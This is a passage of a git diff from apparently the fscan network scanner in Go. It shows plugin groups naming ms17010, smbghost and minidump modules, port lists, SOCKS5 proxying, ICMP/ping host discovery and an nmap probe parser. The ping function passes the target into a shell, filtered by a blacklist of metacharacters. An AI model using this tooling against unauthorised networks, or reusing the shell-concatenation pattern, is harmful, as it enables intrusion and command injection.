|
||||
"ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "modbus", "rsync", // 服务类
|
||||
"ms17010", "smbghost", "smb2", // 漏洞类
|
||||
"findnet", // 其他
|
||||
},
|
||||
ModeBasic: {
|
||||
"webtitle", "ftp", "ssh", "smb", "findnet",
|
||||
},
|
||||
ModeDatabase: {
|
||||
"mysql", "mssql", "redis", "mongodb",
|
||||
"postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j",
|
||||
},
|
||||
ModeWeb: {
|
||||
"webtitle", "webpoc",
|
||||
},
|
||||
ModeService: {
|
||||
"ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "modbus", "rsync",
|
||||
},
|
||||
ModeVul: {
|
||||
"ms17010", "smbghost", "smb2",
|
||||
},
|
||||
ModeLocal: {
|
||||
"localinfo", "minidump", "dcinfo",
|
||||
},
|
||||
}
|
||||
|
||||
// ParseScanMode 解析扫描模式
|
||||
func ParseScanMode(mode string) {
|
||||
LogInfo(GetText("parse_scan_mode", mode))
|
||||
|
||||
// 检查是否是预设模式
|
||||
presetModes := []string{
|
||||
ModeAll, ModeBasic, ModeDatabase, ModeWeb,
|
||||
ModeService, ModeVul, ModePort, ModeICMP, ModeLocal,
|
||||
}
|
||||
|
||||
for _, presetMode := range presetModes {
|
||||
if mode == presetMode {
|
||||
ScanMode = mode
|
||||
if plugins := GetPluginsForMode(mode); plugins != nil {
|
||||
LogInfo(GetText("using_preset_mode_plugins", mode, plugins))
|
||||
} else {
|
||||
LogInfo(GetText("using_preset_mode", mode))
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// 检查是否是有效的插件名
|
||||
if _, exists := PluginManager[mode]; exists {
|
||||
ScanMode = mode
|
||||
LogInfo(GetText("using_single_plugin", mode))
|
||||
return
|
||||
}
|
||||
|
||||
// 默认使用All模式
|
||||
ScanMode = ModeAll
|
||||
LogInfo(GetText("using_default_mode", ModeAll))
|
||||
LogInfo(GetText("included_plugins", PluginGroups[ModeAll]))
|
||||
}
|
||||
|
||||
// GetPluginsForMode 获取指定模式下的插件列表
|
||||
func GetPluginsForMode(mode string) []string {
|
||||
plugins, exists := PluginGroups[mode]
|
||||
if exists {
|
||||
return plugins
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// 辅助函数
|
||||
func IsPortScan() bool { return ScanMode == ModePort }
|
||||
func IsICMPScan() bool { return ScanMode == ModeICMP }
|
||||
func IsWebScan() bool { return ScanMode == ModeWeb }
|
||||
func GetScanMode() string { return ScanMode }
|
23
Common/Ports.go
Normal file
23
Common/Ports.go
Normal file
@ -0,0 +1,23 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||
var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
|
||||
var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||
var AllPorts = "1-65535"
|
||||
var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
|
||||
|
||||
func ParsePortsFromString(portsStr string) []int {
|
||||
var ports []int
|
||||
portStrings := strings.Split(portsStr, ",")
|
||||
for _, portStr := range portStrings {
|
||||
if port, err := strconv.Atoi(portStr); err == nil {
|
||||
ports = append(ports, port)
|
||||
}
|
||||
}
|
||||
return ports
|
||||
}
|
78
Common/Proxy.go
Normal file
78
Common/Proxy.go
Normal file
@ -0,0 +1,78 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"golang.org/x/net/proxy"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
|
||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||
d := &net.Dialer{Timeout: timeout}
|
||||
return WrapperTCP(network, address, d)
|
||||
}
|
||||
|
||||
// WrapperTCP 根据配置创建TCP连接
|
||||
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
|
||||
// 直连模式
|
||||
if Socks5Proxy == "" {
|
||||
conn, err := forward.Dial(network, address)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
|
||||
}
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// Socks5代理模式
|
||||
dialer, err := Socks5Dialer(forward)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
|
||||
}
|
||||
|
||||
conn, err := dialer.Dial(network, address)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("socks5_conn_failed"), err)
|
||||
}
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// Socks5Dialer 创建Socks5代理拨号器
|
||||
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
|
||||
// 解析代理URL
|
||||
u, err := url.Parse(Socks5Proxy)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("socks5_parse_failed"), err)
|
||||
}
|
||||
|
||||
// 验证代理类型
|
||||
if strings.ToLower(u.Scheme) != "socks5" {
|
||||
return nil, errors.New(GetText("socks5_only"))
|
||||
}
|
||||
|
||||
address := u.Host
|
||||
var dialer proxy.Dialer
|
||||
|
||||
// 根据认证信息创建代理
|
||||
if u.User.String() != "" {
|
||||
// 使用用户名密码认证
|
||||
auth := proxy.Auth{
|
||||
User: u.User.Username(),
|
||||
}
|
||||
auth.Password, _ = u.User.Password()
|
||||
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
|
||||
} else {
|
||||
// 无认证模式
|
||||
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
|
||||
}
|
||||
|
||||
return dialer, nil
|
||||
}
|
40
Common/Types.go
Normal file
40
Common/Types.go
Normal file
@ -0,0 +1,40 @@
|
||||
// Config/types.go
|
||||
package Common
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Url string
|
||||
Infostr []string
|
||||
}
|
||||
|
||||
// ScanPlugin 定义扫描插件的结构
|
||||
type ScanPlugin struct {
|
||||
Name string // 插件名称
|
||||
Ports []int // 关联的端口列表,空切片表示特殊扫描类型
|
||||
ScanFunc func(*HostInfo) error // 扫描函数
|
||||
}
|
||||
|
||||
// HasPort 检查插件是否支持指定端口
|
||||
func (p *ScanPlugin) HasPort(port int) bool {
|
||||
// 如果没有指定端口列表,表示支持所有端口
|
||||
if len(p.Ports) == 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查端口是否在支持列表中
|
||||
for _, supportedPort := range p.Ports {
|
||||
if port == supportedPort {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// PluginManager 管理插件注册
|
||||
var PluginManager = make(map[string]ScanPlugin)
|
||||
|
||||
// RegisterPlugin 注册插件
|
||||
func RegisterPlugin(name string, plugin ScanPlugin) {
|
||||
PluginManager[name] = plugin
|
||||
}
|
1126
Common/i18n.go
Normal file
1126
Common/i18n.go
Normal file
File diff suppressed because it is too large
Load Diff
429
Core/ICMP.go
Normal file
429
Core/ICMP.go
Normal file
@ -0,0 +1,429 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/net/icmp"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
AliveHosts []string // 存活主机列表
|
||||
ExistHosts = make(map[string]struct{}) // 已发现主机记录
|
||||
livewg sync.WaitGroup // 存活检测等待组
|
||||
)
|
||||
|
||||
// CheckLive 检测主机存活状态
|
||||
func CheckLive(hostslist []string, Ping bool) []string {
|
||||
// 创建主机通道
|
||||
chanHosts := make(chan string, len(hostslist))
|
||||
|
||||
// 处理存活主机
|
||||
go handleAliveHosts(chanHosts, hostslist, Ping)
|
||||
|
||||
// 根据Ping参数选择检测方式
|
||||
if Ping {
|
||||
// 使用ping方式探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
} else {
|
||||
probeWithICMP(hostslist, chanHosts)
|
||||
}
|
||||
|
||||
// 等待所有检测完成
|
||||
livewg.Wait()
|
||||
close(chanHosts)
|
||||
|
||||
// 输出存活统计信息
|
||||
printAliveStats(hostslist)
|
||||
|
||||
return AliveHosts
|
||||
}
|
||||
|
||||
// IsContain 检查切片中是否包含指定元素
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||
ExistHosts[ip] = struct{}{}
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
|
||||
// 使用Output系统保存存活主机信息
|
||||
protocol := "ICMP"
|
||||
if isPing {
|
||||
protocol = "PING"
|
||||
}
|
||||
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.HOST,
|
||||
Target: ip,
|
||||
Status: "alive",
|
||||
Details: map[string]interface{}{
|
||||
"protocol": protocol,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 保留原有的控制台输出
|
||||
if !Common.Silent {
|
||||
Common.LogSuccess(Common.GetText("target_alive", ip, protocol))
|
||||
}
|
||||
}
|
||||
livewg.Done()
|
||||
}
|
||||
}
|
||||
|
||||
// probeWithICMP 使用ICMP方式探测
|
||||
func probeWithICMP(hostslist []string, chanHosts chan string) {
|
||||
// 尝试监听本地ICMP
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
if err == nil {
|
||||
RunIcmp1(hostslist, conn, chanHosts)
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogError(Common.GetText("icmp_listen_failed", err))
|
||||
Common.LogInfo(Common.GetText("trying_no_listen_icmp"))
|
||||
|
||||
// 尝试无监听ICMP探测
|
||||
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||
if err == nil {
|
||||
defer conn2.Close()
|
||||
RunIcmp2(hostslist, chanHosts)
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogError(Common.GetText("icmp_connect_failed", err))
|
||||
Common.LogInfo(Common.GetText("insufficient_privileges"))
|
||||
Common.LogInfo(Common.GetText("switching_to_ping"))
|
||||
|
||||
// 降级使用ping探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
}
|
||||
|
||||
// printAliveStats 打印存活统计信息
|
||||
func printAliveStats(hostslist []string) {
|
||||
// 大规模扫描时输出 /16 网段统计
|
||||
if len(hostslist) > 1000 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
Common.LogSuccess(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
|
||||
}
|
||||
}
|
||||
|
||||
// 输出 /24 网段统计
|
||||
if len(hostslist) > 256 {
|
||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
|
||||
for i := 0; i < len(arrTop); i++ {
|
||||
Common.LogSuccess(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
|
||||
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
|
||||
endflag := false
|
||||
|
||||
// 启动监听协程
|
||||
go func() {
|
||||
for {
|
||||
if endflag {
|
||||
return
|
||||
}
|
||||
// 接收ICMP响应
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
livewg.Add(1)
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// 发送ICMP请求
|
||||
for _, host := range hostslist {
|
||||
dst, _ := net.ResolveIPAddr("ip", host)
|
||||
IcmpByte := makemsg(host)
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
}
|
||||
|
||||
// 等待响应
|
||||
start := time.Now()
|
||||
for {
|
||||
// 所有主机都已响应则退出
|
||||
if len(AliveHosts) == len(hostslist) {
|
||||
break
|
||||
}
|
||||
|
||||
// 根据主机数量设置超时时间
|
||||
since := time.Since(start)
|
||||
wait := time.Second * 6
|
||||
if len(hostslist) <= 256 {
|
||||
wait = time.Second * 3
|
||||
}
|
||||
|
||||
if since > wait {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
endflag = true
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
|
||||
func RunIcmp2(hostslist []string, chanHosts chan string) {
|
||||
// 控制并发数
|
||||
num := 1000
|
||||
if len(hostslist) < num {
|
||||
num = len(hostslist)
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, num)
|
||||
|
||||
// 并发探测
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
|
||||
go func(host string) {
|
||||
defer func() {
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}()
|
||||
|
||||
if icmpalive(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
}(host)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(limiter)
|
||||
}
|
||||
|
||||
// icmpalive 检测主机ICMP是否存活
|
||||
func icmpalive(host string) bool {
|
||||
startTime := time.Now()
|
||||
|
||||
// 建立ICMP连接
|
||||
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时时间
|
||||
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 构造并发送ICMP请求
|
||||
msg := makemsg(host)
|
||||
if _, err := conn.Write(msg); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 接收ICMP响应
|
||||
receive := make([]byte, 60)
|
||||
if _, err := conn.Read(receive); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// RunPing 使用系统Ping命令并发探测主机存活
|
||||
func RunPing(hostslist []string, chanHosts chan string) {
|
||||
var wg sync.WaitGroup
|
||||
// 限制并发数为50
|
||||
limiter := make(chan struct{}, 50)
|
||||
|
||||
// 并发探测
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
|
||||
go func(host string) {
|
||||
defer func() {
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}()
|
||||
|
||||
if ExecCommandPing(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
}(host)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
// ExecCommandPing 执行系统Ping命令检测主机存活
|
||||
func ExecCommandPing(ip string) bool {
|
||||
// 过滤黑名单字符
|
||||
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
|
||||
for _, char := range forbiddenChars {
|
||||
if strings.Contains(ip, char) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
var command *exec.Cmd
|
||||
// 根据操作系统选择不同的ping命令
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
|
||||
case "darwin":
|
||||
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
|
||||
default: // linux
|
||||
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
|
||||
}
|
||||
|
||||
// 捕获命令输出
|
||||
var outinfo bytes.Buffer
|
||||
command.Stdout = &outinfo
|
||||
|
||||
// 执行命令
|
||||
if err := command.Start(); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if err := command.Wait(); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 分析输出结果
|
||||
output := outinfo.String()
|
||||
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
|
||||
}
|
||||
|
||||
// makemsg 构造ICMP echo请求消息
|
||||
func makemsg(host string) []byte {
|
||||
msg := make([]byte, 40)
|
||||
|
||||
// 获取标识符
|
||||
id0, id1 := genIdentifier(host)
|
||||
|
||||
// 设置ICMP头部
|
||||
msg[0] = 8 // Type: Echo Request
|
||||
msg[1] = 0 // Code: 0
|
||||
msg[2] = 0 // Checksum高位(待计算)
|
||||
msg[3] = 0 // Checksum低位(待计算)
|
||||
msg[4], msg[5] = id0, id1 // Identifier
|
||||
msg[6], msg[7] = genSequence(1) // Sequence Number
|
||||
|
||||
// 计算校验和
|
||||
check := checkSum(msg[0:40])
|
||||
msg[2] = byte(check >> 8) // 设置校验和高位
|
||||
msg[3] = byte(check & 255) // 设置校验和低位
|
||||
|
||||
return msg
|
||||
}
|
||||
|
||||
// checkSum 计算ICMP校验和
|
||||
func checkSum(msg []byte) uint16 {
|
||||
sum := 0
|
||||
length := len(msg)
|
||||
|
||||
// 按16位累加
|
||||
for i := 0; i < length-1; i += 2 {
|
||||
sum += int(msg[i])*256 + int(msg[i+1])
|
||||
}
|
||||
|
||||
// 处理奇数长度情况
|
||||
if length%2 == 1 {
|
||||
sum += int(msg[length-1]) * 256
|
||||
}
|
||||
|
||||
// 将高16位加到低16位
|
||||
sum = (sum >> 16) + (sum & 0xffff)
|
||||
sum = sum + (sum >> 16)
|
||||
|
||||
// 取反得到校验和
|
||||
return uint16(^sum)
|
||||
}
|
||||
|
||||
// genSequence 生成ICMP序列号
|
||||
func genSequence(v int16) (byte, byte) {
|
||||
ret1 := byte(v >> 8) // 高8位
|
||||
ret2 := byte(v & 255) // 低8位
|
||||
return ret1, ret2
|
||||
}
|
||||
|
||||
// genIdentifier 根据主机地址生成标识符
|
||||
func genIdentifier(host string) (byte, byte) {
|
||||
return host[0], host[1] // 使用主机地址前两个字节
|
||||
}
|
||||
|
||||
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
|
||||
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
|
||||
if len(arrInit) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
// 统计各网段出现次数
|
||||
segmentCounts := make(map[string]int)
|
||||
for _, ip := range arrInit {
|
||||
segments := strings.Split(ip, ".")
|
||||
if len(segments) != 4 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 根据flag确定统计B段还是C段
|
||||
var segment string
|
||||
if flag {
|
||||
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
|
||||
} else {
|
||||
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
|
||||
}
|
||||
|
||||
segmentCounts[segment]++
|
||||
}
|
||||
|
||||
// 创建副本用于排序
|
||||
sortMap := make(map[string]int)
|
||||
for k, v := range segmentCounts {
|
||||
sortMap[k] = v
|
||||
}
|
||||
|
||||
// 获取TOP N结果
|
||||
for i := 0; i < length && len(sortMap) > 0; i++ {
|
||||
maxSegment := ""
|
||||
maxCount := 0
|
||||
|
||||
// 查找当前最大值
|
||||
for segment, count := range sortMap {
|
||||
if count > maxCount {
|
||||
maxCount = count
|
||||
maxSegment = segment
|
||||
}
|
||||
}
|
||||
|
||||
// 添加到结果集
|
||||
arrTop = append(arrTop, maxSegment)
|
||||
arrLen = append(arrLen, maxCount)
|
||||
|
||||
// 从待处理map中删除已处理项
|
||||
delete(sortMap, maxSegment)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
877
Core/PortFinger.go
Normal file
877
Core/PortFinger.go
Normal file
@ -0,0 +1,877 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
//go:embed nmap-service-probes.txt
|
||||
var ProbeString string
|
||||
|
||||
var v VScan // 改为VScan类型而不是指针
|
||||
|
||||
type VScan struct {
|
||||
Exclude string
|
||||
AllProbes []Probe
|
||||
UdpProbes []Probe
|
||||
Probes []Probe
|
||||
ProbesMapKName map[string]Probe
|
||||
}
|
||||
|
||||
type Probe struct {
|
||||
Name string // 探测器名称
|
||||
Data string // 探测数据
|
||||
Protocol string // 协议
|
||||
Ports string // 端口范围
|
||||
SSLPorts string // SSL端口范围
|
||||
|
||||
TotalWaitMS int // 总等待时间
|
||||
TCPWrappedMS int // TCP包装等待时间
|
||||
Rarity int // 稀有度
|
||||
Fallback string // 回退探测器名称
|
||||
|
||||
Matchs *[]Match // 匹配规则列表
|
||||
}
|
||||
|
||||
type Match struct {
|
||||
IsSoft bool // 是否为软匹配
|
||||
Service string // 服务名称
|
||||
Pattern string // 匹配模式
|
||||
VersionInfo string // 版本信息格式
|
||||
FoundItems []string // 找到的项目
|
||||
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
||||
}
|
||||
|
||||
type Directive struct {
|
||||
DirectiveName string
|
||||
Flag string
|
||||
Delimiter string
|
||||
DirectiveStr string
|
||||
}
|
||||
|
||||
type Extras struct {
|
||||
VendorProduct string
|
||||
Version string
|
||||
Info string
|
||||
Hostname string
|
||||
OperatingSystem string
|
||||
DeviceType string
|
||||
CPE string
|
||||
}
|
||||
|
||||
func init() {
|
||||
Common.LogDebug("开始初始化全局变量")
|
||||
|
||||
v = VScan{} // 直接初始化VScan结构体
|
||||
v.Init()
|
||||
|
||||
// 获取并检查 NULL 探测器
|
||||
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
||||
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
||||
null = &nullProbe
|
||||
} else {
|
||||
Common.LogDebug("警告: 未找到NULL探测器")
|
||||
}
|
||||
|
||||
// 获取并检查 GenericLines 探测器
|
||||
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
||||
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data)))
|
||||
common = &commonProbe
|
||||
} else {
|
||||
Common.LogDebug("警告: 未找到GenericLines探测器")
|
||||
}
|
||||
|
||||
Common.LogDebug("全局变量初始化完成")
|
||||
}
|
||||
|
||||
// 解析指令语法,返回指令结构
|
||||
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||
Common.LogDebug("开始解析指令语法,输入数据: " + data)
|
||||
|
||||
directive = Directive{}
|
||||
// 查找第一个空格的位置
|
||||
blankIndex := strings.Index(data, " ")
|
||||
if blankIndex == -1 {
|
||||
Common.LogDebug("未找到空格分隔符")
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
directiveName := data[:blankIndex]
|
||||
Flag := data[blankIndex+1 : blankIndex+2]
|
||||
delimiter := data[blankIndex+2 : blankIndex+3]
|
||||
directiveStr := data[blankIndex+3:]
|
||||
|
||||
directive.DirectiveName = directiveName
|
||||
directive.Flag = Flag
|
||||
directive.Delimiter = delimiter
|
||||
directive.DirectiveStr = directiveStr
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
||||
directiveName, Flag, delimiter, directiveStr))
|
||||
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析探测器信息
|
||||
func (p *Probe) parseProbeInfo(probeStr string) {
|
||||
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
||||
|
||||
// 提取协议和其他信息
|
||||
proto := probeStr[:4]
|
||||
other := probeStr[4:]
|
||||
|
||||
// 验证协议类型
|
||||
if !(proto == "TCP " || proto == "UDP ") {
|
||||
errMsg := "探测器协议必须是 TCP 或 UDP"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 验证其他信息不为空
|
||||
if len(other) == 0 {
|
||||
errMsg := "nmap-service-probes - 探测器名称无效"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 解析指令
|
||||
directive := p.getDirectiveSyntax(other)
|
||||
|
||||
// 设置探测器属性
|
||||
p.Name = directive.DirectiveName
|
||||
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
||||
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
||||
p.Name, p.Data, p.Protocol))
|
||||
}
|
||||
|
||||
// 从字符串解析探测器信息
|
||||
func (p *Probe) fromString(data string) error {
|
||||
Common.LogDebug("开始解析探测器字符串数据")
|
||||
var err error
|
||||
|
||||
// 预处理数据
|
||||
data = strings.TrimSpace(data)
|
||||
lines := strings.Split(data, "\n")
|
||||
if len(lines) == 0 {
|
||||
return fmt.Errorf("输入数据为空")
|
||||
}
|
||||
|
||||
probeStr := lines[0]
|
||||
p.parseProbeInfo(probeStr)
|
||||
|
||||
// 解析匹配规则和其他配置
|
||||
var matchs []Match
|
||||
for _, line := range lines {
|
||||
Common.LogDebug("处理行: " + line)
|
||||
switch {
|
||||
case strings.HasPrefix(line, "match "):
|
||||
match, err := p.getMatch(line)
|
||||
if err != nil {
|
||||
Common.LogDebug("解析match失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, match)
|
||||
|
||||
case strings.HasPrefix(line, "softmatch "):
|
||||
softMatch, err := p.getSoftMatch(line)
|
||||
if err != nil {
|
||||
Common.LogDebug("解析softmatch失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, softMatch)
|
||||
|
||||
case strings.HasPrefix(line, "ports "):
|
||||
p.parsePorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "sslports "):
|
||||
p.parseSSLPorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "totalwaitms "):
|
||||
p.parseTotalWaitMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "tcpwrappedms "):
|
||||
p.parseTCPWrappedMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "rarity "):
|
||||
p.parseRarity(line)
|
||||
|
||||
case strings.HasPrefix(line, "fallback "):
|
||||
p.parseFallback(line)
|
||||
}
|
||||
}
|
||||
p.Matchs = &matchs
|
||||
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
||||
return err
|
||||
}
|
||||
|
||||
// 解析端口配置
|
||||
func (p *Probe) parsePorts(data string) {
|
||||
p.Ports = data[len("ports")+1:]
|
||||
Common.LogDebug("解析端口: " + p.Ports)
|
||||
}
|
||||
|
||||
// 解析SSL端口配置
|
||||
func (p *Probe) parseSSLPorts(data string) {
|
||||
p.SSLPorts = data[len("sslports")+1:]
|
||||
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
||||
}
|
||||
|
||||
// 解析总等待时间
|
||||
func (p *Probe) parseTotalWaitMS(data string) {
|
||||
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析总等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TotalWaitMS = waitMS
|
||||
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
||||
}
|
||||
|
||||
// 解析TCP包装等待时间
|
||||
